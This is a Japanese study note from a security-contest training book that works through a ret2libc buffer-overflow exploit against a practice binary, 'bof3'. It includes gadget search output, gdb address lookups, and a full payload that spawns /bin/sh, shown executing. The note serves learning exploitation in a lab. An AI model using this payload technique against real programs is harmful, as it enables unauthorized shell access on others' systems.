セキュリティコンテストチャレンジブック[ret2libc]
ret2libc の後にもう1度関数を呼ぶ
とりあえずメモ
rp++ で pop している場所を探す。
$ rp -f bof3 -r 1 | grep pop 0x0804855f: pop ebp ; ret ; (1 found) 0x08048339: pop ebx ; ret ; (1 found) 0x08048586: pop ebx ; ret ; (1 found)
どれを使っても同じなので、 [0x0804855f] を使う。
gdb で system 、exitの位置を確認
$2 = {<text variable, no debug info>} 0xf7e54cd0 <system> # system のアドレスを取得 gdb-peda$ p exit $3 = {<text variable, no debug info>} 0xf7e47ec0 <exit> # exit のアドレスを取得
以下から抜粋した。
$ gdb -q bof3 Reading symbols from bof3...(no debugging symbols found)...done. gdb-peda$ b main Breakpoint 1 at 0x80484a0 gdb-peda$ r Starting program: /media/sf_mnt-host/ctfCharrengeBook/bof3 [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0xf7fbc000 --> 0x1a6da8 ECX: 0x942e3962 EDX: 0xffffd7b4 --> 0xf7fbc000 --> 0x1a6da8 ESI: 0x0 EDI: 0x0 EBP: 0xffffd788 --> 0x0 ESP: 0xffffd788 --> 0x0 EIP: 0x80484a0 (<main+3>: and esp,0xfffffff0) [-------------------------------------code-------------------------------------] 0x8048498 <frame_dummy+40>: jmp 0x8048410 <register_tm_clones> 0x804849d <main>: push ebp 0x804849e <main+1>: mov ebp,esp => 0x80484a0 <main+3>: and esp,0xfffffff0 0x80484a3 <main+6>: sub esp,0x30 0x80484a6 <main+9>: mov DWORD PTR [esp+0x4],0x804a060 0x80484ae <main+17>: mov DWORD PTR [esp],0x8048590 0x80484b5 <main+24>: call 0x8048350 <printf@plt> [------------------------------------stack-------------------------------------] 00:0000| esp ebp 0xffffd788 --> 0x0 01:0004| 0xffffd78c --> 0xf7e2ea63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 02:0008| 0xffffd790 --> 0x1 03:0012| 0xffffd794 --> 0xffffd824 --> 0xffffd9b1 ("/media/sf_mnt-h"...) 04:0016| 0xffffd798 --> 0xffffd82c --> 0xffffd9da ("XDG_VTNR=7") 05:0020| 0xffffd79c --> 0xf7feacea (add ebx,0x12316) 06:0024| 0xffffd7a0 --> 0x1 07:0028| 0xffffd7a4 --> 0xffffd824 --> 0xffffd9b1 ("/media/sf_mnt-h"...) [------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value Breakpoint 1, 0x080484a0 in main () gdb-peda$ p system $2 = {<text variable, no debug info>} 0xf7e54cd0 <system> # system のアドレスを取得 gdb-peda$ p exit $3 = {<text variable, no debug info>} 0xf7e47ec0 <exit> # exit のアドレスを取得
以前使った以下を改造する。(ダミーでBBBB とした箇所などを埋めていく)
$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\x4c\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3 buffer: 0x804a060
\xd0\x4c\xe5\xf7 # main 関数のリターンアドレス(0xf7e54cd0
1行で表すと
\xd0\x4c\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\xc0\x7e\xe4\xf7\x42\x42\x42\x42\x00\x00\x00\x00
となる。96文字。
これをbof3に食べさせると、 segmentation fault しない。
$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\x4c\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\xc0\x7e\xe4\xf7\x42\x42\x42\x42\x00\x00\x00\x00'; cat) | ./bof3 buffer: 0x804a060 ls bof3 bof3.c exit
以上。